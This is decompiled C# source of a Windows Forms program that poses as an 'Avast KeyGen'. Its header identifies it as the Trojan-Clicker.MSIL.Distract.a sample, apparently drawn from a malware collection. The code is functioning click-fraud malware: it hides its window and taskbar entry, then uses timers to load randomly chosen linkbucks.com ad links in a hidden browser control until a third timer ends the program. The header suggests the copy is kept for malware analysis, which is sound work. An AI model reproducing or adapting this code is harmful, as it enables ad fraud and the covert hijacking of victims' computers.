// Decompiled with JetBrains decompiler
// Type: WindowsApplication1.Form1
// Assembly: Avast KeyGen, Version=7.3.0.0, Culture=neutral, PublicKeyToken=null
// MVID: F14EBA9D-BE9A-4819-8979-4625F2144CC9
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Runtime.CompilerServices;
using System.Windows.Forms;

namespace WindowsApplication1
{
  [DesignerGenerated]
  public class Form1 : Form
  {
    private IContainer components;
    [AccessedThroughProperty("WebBrowser1")]
    private WebBrowser _WebBrowser1;
    [AccessedThroughProperty("ProgressBar1")]
    private ProgressBar _ProgressBar1;
    [AccessedThroughProperty("Timer1")]
    private Timer _Timer1;
    [AccessedThroughProperty("TextBox1")]
    private TextBox _TextBox1;
    [AccessedThroughProperty("Button1")]
    private Button _Button1;
    [AccessedThroughProperty("ProgressBar2")]
    private ProgressBar _ProgressBar2;
    [AccessedThroughProperty("Timer2")]
    private Timer _Timer2;
    [AccessedThroughProperty("ProgressBar3")]
    private ProgressBar _ProgressBar3;
    [AccessedThroughProperty("Timer3")]
    private Timer _Timer3;

    [DebuggerNonUserCode]
    public Form1()
    {
      this.Load += new EventHandler(this.Form1_Load);
      this.InitializeComponent();
    }

    [DebuggerNonUserCode]
    protected override void Dispose(bool disposing)
    {
      try
      {
        if (!disposing || this.components == null)
          return;
        this.components.Dispose();
      }
      finally
      {
        base.Dispose(disposing);
      }
    }

    [DebuggerStepThrough]
    private void InitializeComponent()
    {
      this.components = (IContainer) new System.ComponentModel.Container();
      this.WebBrowser1 = new WebBrowser();
      this.ProgressBar1 = new ProgressBar();
      this.Timer1 = new Timer(this.components);
      this.TextBox1 = new TextBox();
      this.Button1 = new Button();
      this.ProgressBar2 = new ProgressBar();
      this.Timer2 = new Timer(this.components);
      this.ProgressBar3 = new ProgressBar();
      this.Timer3 = new Timer(this.components);
      this.SuspendLayout();
      WebBrowser webBrowser1_1 = this.WebBrowser1;
      Point point1 = new Point(12, 115);
      Point point2 = point1;
      webBrowser1_1.Location = point2;
      WebBrowser webBrowser1_2 = this.WebBrowser1;
      Size size1 = new Size(20, 20);
      Size size2 = size1;
      webBrowser1_2.MinimumSize = size2;
      this.WebBrowser1.Name = "WebBrowser1";
      WebBrowser webBrowser1_3 = this.WebBrowser1;
      size1 = new Size(401, 232);
      Size size3 = size1;
      webBrowser1_3.Size = size3;
      this.WebBrowser1.TabIndex = 0;
      ProgressBar progressBar1_1 = this.ProgressBar1;
      point1 = new Point(12, 67);
      Point point3 = point1;
      progressBar1_1.Location = point3;
      this.ProgressBar1.Name = "ProgressBar1";
      ProgressBar progressBar1_2 = this.ProgressBar1;
      size1 = new Size(401, 12);
      Size size4 = size1;
      progressBar1_2.Size = size4;
      this.ProgressBar1.TabIndex = 1;
      this.Timer1.Interval = 300;
      TextBox textBox1_1 = this.TextBox1;
      point1 = new Point(12, 41);
      Point point4 = point1;
      textBox1_1.Location = point4;
      this.TextBox1.Name = "TextBox1";
      TextBox textBox1_2 = this.TextBox1;
      size1 = new Size(401, 20);
      Size size5 = size1;
      textBox1_2.Size = size5;
      this.TextBox1.TabIndex = 2;
      Button button1_1 = this.Button1;
      point1 = new Point(12, 12);
      Point point5 = point1;
      button1_1.Location = point5;
      this.Button1.Name = "Button1";
      Button button1_2 = this.Button1;
      size1 = new Size(401, 23);
      Size size6 = size1;
      button1_2.Size = size6;
      this.Button1.TabIndex = 3;
      this.Button1.Text = "Button1";
      this.Button1.UseVisualStyleBackColor = true;
      ProgressBar progressBar2_1 = this.ProgressBar2;
      point1 = new Point(12, 96);
      Point point6 = point1;
      progressBar2_1.Location = point6;
      this.ProgressBar2.Name = "ProgressBar2";
      ProgressBar progressBar2_2 = this.ProgressBar2;
      size1 = new Size(401, 11);
      Size size7 = size1;
      progressBar2_2.Size = size7;
      this.ProgressBar2.TabIndex = 4;
      this.Timer2.Interval = 400;
      ProgressBar progressBar3_1 = this.ProgressBar3;
      point1 = new Point(12, 353);
      Point point7 = point1;
      progressBar3_1.Location = point7;
      this.ProgressBar3.Name = "ProgressBar3";
      ProgressBar progressBar3_2 = this.ProgressBar3;
      size1 = new Size(401, 10);
      Size size8 = size1;
      progressBar3_2.Size = size8;
      this.ProgressBar3.TabIndex = 5;
      this.Timer3.Interval = 7500;
      this.AutoScaleDimensions = new SizeF(6f, 13f);
      this.AutoScaleMode = AutoScaleMode.Font;
      size1 = new Size(425, 359);
      this.ClientSize = size1;
      this.Controls.Add((Control) this.ProgressBar3);
      this.Controls.Add((Control) this.ProgressBar2);
      this.Controls.Add((Control) this.Button1);
      this.Controls.Add((Control) this.TextBox1);
      this.Controls.Add((Control) this.ProgressBar1);
      this.Controls.Add((Control) this.WebBrowser1);
      this.Name = nameof (Form1);
      this.Text = nameof (Form1);
      this.ResumeLayout(false);
      this.PerformLayout();
    }

    internal virtual WebBrowser WebBrowser1
    {
      [DebuggerNonUserCode] get => this._WebBrowser1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._WebBrowser1 = value;
    }

    internal virtual ProgressBar ProgressBar1
    {
      [DebuggerNonUserCode] get => this._ProgressBar1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._ProgressBar1 = value;
    }

    internal virtual Timer Timer1
    {
      [DebuggerNonUserCode] get => this._Timer1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
      {
        EventHandler eventHandler = new EventHandler(this.Timer1_Tick);
        if (this._Timer1 != null)
          this._Timer1.Tick -= eventHandler;
        this._Timer1 = value;
        if (this._Timer1 == null)
          return;
        this._Timer1.Tick += eventHandler;
      }
    }

    internal virtual TextBox TextBox1
    {
      [DebuggerNonUserCode] get => this._TextBox1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
    }

    internal virtual Button Button1
    {
      [DebuggerNonUserCode] get => this._Button1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
      {
        EventHandler eventHandler = new EventHandler(this.Button1_Click);
        if (this._Button1 != null)
          this._Button1.Click -= eventHandler;
        this._Button1 = value;
        if (this._Button1 == null)
          return;
        this._Button1.Click += eventHandler;
      }
    }

    internal virtual ProgressBar ProgressBar2
    {
      [DebuggerNonUserCode] get => this._ProgressBar2;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._ProgressBar2 = value;
    }

    internal virtual Timer Timer2
    {
      [DebuggerNonUserCode] get => this._Timer2;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
      {
        EventHandler eventHandler = new EventHandler(this.Timer2_Tick);
        if (this._Timer2 != null)
          this._Timer2.Tick -= eventHandler;
        this._Timer2 = value;
        if (this._Timer2 == null)
          return;
        this._Timer2.Tick += eventHandler;
      }
    }

    internal virtual ProgressBar ProgressBar3
    {
      [DebuggerNonUserCode] get => this._ProgressBar3;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._ProgressBar3 = value;
    }

    internal virtual Timer Timer3
    {
      [DebuggerNonUserCode] get => this._Timer3;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
      {
        EventHandler eventHandler = new EventHandler(this.Timer3_Tick);
        if (this._Timer3 != null)
          this._Timer3.Tick -= eventHandler;
        this._Timer3 = value;
        if (this._Timer3 == null)
          return;
        this._Timer3.Tick += eventHandler;
      }
    }

    private void Form1_Load(object sender, EventArgs e)
    {
      this.Timer3.Start();
      this.Timer1.Start();
      this.Timer1.Enabled = true;
      if (this.Timer1.Enabled)
        this.WebBrowser1.Navigate(this.TextBox1.Text);
      if (this.Timer2.Enabled)
        this.WebBrowser1.Navigate(this.TextBox1.Text);
      this.Visible = false;
      this.Hide();
      this.ShowInTaskbar = false;
      this.Hide();
      this.WindowState = FormWindowState.Minimized;
    }

    private void Button1_Click(object sender, EventArgs e)
    {
      this.TextBox1.Text = Conversions.ToString(Conversion.Int(VBMath.Rnd() * 8f));
      string text = this.TextBox1.Text;
      if (Operators.CompareString(text, Conversions.ToString(0), false) == 0)
        this.TextBox1.Text = "http://df3c57ee.linkbucks.com";
      else if (Operators.CompareString(text, Conversions.ToString(1), false) == 0)
        this.TextBox1.Text = "http://521b42b5.linkbucks.comm";
      else if (Operators.CompareString(text, Conversions.ToString(2), false) == 0)
        this.TextBox1.Text = "http://789d8b6b.linkbucks.com";
      else if (Operators.CompareString(text, Conversions.ToString(3), false) == 0)
        this.TextBox1.Text = "http://66c0c10e.linkbucks.com";
      else if (Operators.CompareString(text, Conversions.ToString(4), false) == 0)
        this.TextBox1.Text = "http://216ab881.linkbucks.com";
      else if (Operators.CompareString(text, Conversions.ToString(5), false) == 0)
        this.TextBox1.Text = "http://750e723c.linkbucks.com";
      else if (Operators.CompareString(text, Conversions.ToString(6), false) == 0)
        this.TextBox1.Text = "http://4cd5abd0.linkbucks.com";
      else if (Operators.CompareString(text, Conversions.ToString(7), false) == 0)
        this.TextBox1.Text = "http://ad7a09b5.linkbucks.com";
      else if (Operators.CompareString(text, Conversions.ToString(8), false) == 0)
        this.TextBox1.Text = "http://4555b72f.linkbucks.com";
      else if (Operators.CompareString(text, Conversions.ToString(9), false) == 0)
        this.TextBox1.Text = "http://6415f4c8.linkbucks.com";
      else if (Operators.CompareString(text, Conversions.ToString(10), false) == 0)
        this.TextBox1.Text = "http://ec156a5b.linkbucks.com";
      else if (Operators.CompareString(text, Conversions.ToString(11), false) == 0)
        this.TextBox1.Text = "http://85374e1f.linkbucks.com";
      else if (Operators.CompareString(text, Conversions.ToString(12), false) == 0)
        this.TextBox1.Text = "http://bbedcc2c.linkbucks.com";
      else if (Operators.CompareString(text, Conversions.ToString(13), false) == 0)
        this.TextBox1.Text = "http://3da53239.linkbucks.com";
      else if (Operators.CompareString(text, Conversions.ToString(14), false) == 0)
      {
        this.TextBox1.Text = "http://65fa73c1.linkbucks.com";
      }
      else
      {
        if (Operators.CompareString(text, Conversions.ToString(15), false) != 0)
          return;
        this.TextBox1.Text = "http://6a697c9e.linkbucks.com";
      }
    }

    private void Timer1_Tick(object sender, EventArgs e)
    {
      this.ProgressBar1.Value = this.ProgressBar1.Value != 100 ? checked ((int) Math.Round(unchecked (Conversion.Val((object) this.ProgressBar1.Value) + Conversion.Val((object) 1)))) : 100;
      if (this.ProgressBar1.Value != this.ProgressBar1.Maximum)
        return;
      this.Button1.PerformClick();
      this.Timer1.Stop();
      this.ProgressBar1.Value = 0;
      this.Timer2.Start();
      this.WebBrowser1.Navigate(this.TextBox1.Text);
    }

    private void Timer2_Tick(object sender, EventArgs e)
    {
      this.ProgressBar2.Value = this.ProgressBar2.Value != 100 ? checked ((int) Math.Round(unchecked (Conversion.Val((object) this.ProgressBar2.Value) + Conversion.Val((object) 1)))) : 100;
      if (this.ProgressBar2.Value != this.ProgressBar2.Maximum)
        return;
      this.Button1.PerformClick();
      this.Timer2.Stop();
      this.ProgressBar2.Value = 0;
      this.Timer1.Start();
      this.WebBrowser1.Navigate(this.TextBox1.Text);
    }

    private void Timer3_Tick(object sender, EventArgs e)
    {
      this.ProgressBar3.Value = this.ProgressBar3.Value != 100 ? checked ((int) Math.Round(unchecked (Conversion.Val((object) this.ProgressBar3.Value) + Conversion.Val((object) 1)))) : 100;
      if (this.ProgressBar3.Value != this.ProgressBar3.Maximum)
        return;
      Application.Exit();
    }
  }
}
